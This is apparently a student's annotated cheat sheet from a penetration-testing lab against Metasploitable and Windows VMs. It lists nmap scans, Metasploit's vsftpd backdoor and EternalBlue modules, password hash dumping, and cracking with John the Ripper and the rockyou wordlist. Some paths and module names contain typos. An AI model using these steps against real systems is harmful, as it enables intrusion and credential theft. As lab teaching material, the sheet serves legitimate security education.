- ip a
    - Displays the IP address of the selected object
    - The a switch processes all objects
- clear
    - Clears the screen

- nmap –sT 192.168.xx.xx
    - The sT option will run a TCP connect scan
    - Use the IP address from the previous command (ip a on the other VM)
- nmap –sT 192.168.xx.xx -p6200
    - The –p switch allows us to check a specific port
    - Port 6200 was not chosen randomly
- netcat 192.168.xx.xx ##
    - Connects to a specific IP address
    - ## is the port you want to connect to, 21 for FTP

- msfconsole
    - This command will launch the console in a terminal window
- help
    - Shows the help file
- search vsftpd
    - Searches for the term specified
- use #
    - Uses the selected search result.

- show options
    - Displays the options and their settings
- set rhosts 192.168.xx.xx
    - set to the IP of the Metasploitable VM
    - All we need to set, as it is the only require option without a default
    - Remember its plural even though we just have one rhost
- exploit
    - Runs the exploit
- run
    - Runs the current module

- ls
  - Lists the files in a directory
- id
  - Tells us who we are logged in as
- ip a
  - Tells us our IP address

- shutdown 0
  - Shuts down the VM with 0 delay

- Nmap 192.168.56.0/24
  - The /24 part tells it to scan the entire subnet for hosts.
- search eternalblue
  - Searches modules for the phrase eternalblue
- use exploit/windows/smb.ms17_010_eternalblue
  - Loads the specified module

- options
  - Shows the various options for a module
- set rhosts 192.168.56.xx
  - Sets the remote hosts IP address
- ip a
  - Tells you your IP address
- set lhost 192.168.xx.xx
  - Sets the listening IP address
- Run
  - Runs the current module
- hashdump
  - Displays the hashes for the passwords stored on the machine.

- cd /usr/share/wordlists/
  - Changes the current directory to the one specified
- sudo gzip –d rockyou.txt.gz
  - Decompresses the RockYou text file
- mousepad mypswdhashes.txt
  - Launches Mousepad and opens the specified text file
- john --wordlist=/usr/shar/wordlist/rockyou.txt passwerds.txt --format=NT

    - Launches John the Ripper and uses the specified worklist against the specified password hashes, looking for password in the specified format
- rm ./.john/john.pot
    - Removes the cracked passwords
    - May need to be run for the above command to work